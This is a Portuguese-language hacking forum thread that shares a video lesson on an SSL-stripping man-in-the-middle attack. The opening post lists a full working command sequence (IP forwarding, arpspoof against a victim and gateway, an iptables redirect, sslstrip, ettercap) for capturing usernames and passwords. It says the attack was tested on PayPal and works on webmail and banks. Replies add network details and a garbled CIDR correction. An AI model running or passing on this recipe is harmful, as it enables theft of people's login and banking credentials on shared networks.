Video Aula Sniffer SSL - https

[Bhior]

Nesta video vou mostrar como a criptografia SSL não e seguro. Foi feita um Homem-no-meio (Man In The Middle), redirecionei todo trafico da rede (porta 80), para uma outra porta onde meu micro escutava. O sniffer de SSL (sslstrip), fica escutando na porta e remove o SSL para que não possa voltar para o usuário. O ettercap que executei em "modo texto" só captura o Usuário(username ) e Senha(password).

Programas usados:

1. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
2. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
3. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Comando usados:

kate /etc/etter.conf
* Descemente a opção do iptables, tirando o "#"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.1.1.6 10.1.1.1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
ettercap -T -q -i wlan0

sslstrip -a -k -f
ettercap -T -q -i eth0

OBS: Se sua internet for wireless no lugar de "eth0" coloca-se "wlan0"

Todas os programas são encontrados no backtrack 4

Download da video:

[U]Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Senha: guiadohacker.com.br

Assista on-line:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Musicas da vídeo recomendada pelo DavidFelipe

Link reupado por v7cyber

[H4ck3r4lp]

Rsrs , vlw bhior , to baixando já!

[M3G4P1X3L]

Por mim SSL dava uma camada a mais de segurança, pois ela é criptografada não ?
fiquei curioso agora, estou baixando !

[Bhior]

Rsrs , vlw bhior , to baixando já!

Serve para servidores de email (gmail, hotmail, yahoo e etc..), bancos online... na video testei no paypal...

Abraços

[M3G4P1X3L]

Vi a aula e talz mas, só aparece essas informações se for de seu IP ou aparece a de todos que se logam em qualquer computador com qualquer IP ?

*-*

[Prime]

opa to baixando aki
valeu bhior

[DJ Thiago]

opa to baixando aki vlw kra por compartilhar!!!

[Bhior]

Vi a aula e talz mas, só aparece essas informações se for de seu IP ou aparece a de todos que se logam em qualquer com****dor com qualquer IP ?

*-*

Sniffer são programas farejadores de redes locais, como lan e wlan. Se você da um comando no propomt do seu windows "ipconfig" ele vai lhe mostrar seu IP local, o IP que toda sua rede usa. Endereços IP´s que começam com 10.0.0.0/8, 192.168.0.0/16 e 172.16.0.0/12são privados, o que isso significa, são de redes locais.
Ex: se seu IP for 192.168.1.5, você pode ser a 4 maquina conectada na rede, porque o IP de número 192.168.1.1 e de gateway, se fosse sabe que so exites 4 micros na rede... e so spoofar de seu ip ate o do gateway, no meu caso a minha faixa de IP da minha rede e 10.1.1.1 e o ultimo micro era o da minha maquina virtual, por isso coloquei 10.1.1.6 a 10.1.1.1.

Acabei de acorda se eu esquece de mencionar ou add algo, reparo mais tarde

Qualquer duvida reporte...

Abraços

[M3G4P1X3L]

Onde coloco esse programas que pedistes pra baixar ?
Onde coloco esses comandos, promp de comando ?

[Jaques Vigée-Lebrun]

Onde coloco esse programas que pedistes pra baixar ?
Onde coloco esses comandos, promp de comando ?

Você utiliza Windows ou Linux? Porque os programas descritos acima são para linux...

[]'

[Park]

Endereços IP´s que começam com 10.0.0.0/8, 192.168.0.0/16 e 172.16.0.0/12 são privados
Abraços

Apenas uma breve correção,nas notações de Bits...

10.0.0.0/8
172.16.0.0/16
192.168.0.0/24

Onde coloco esse programas que pedistes pra baixar ?
Onde coloco esses comandos, promp de comando ?

Esses programas são nativos do Backtrack 4,por isso apenas crie uma maquina virtual e instale o Bt e use esses programas

[Bhior]

On line

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

[MailsonHeberth]

Link Verificado.
Link On!

[dan1965]

DUVIDA - ao executar todos os passos da videoaula, o que retorna vem tudo em código!! Alguem me pode ajudar em relação a isto?? obrigado

[fbocosta]

po me ajudou de + vlw !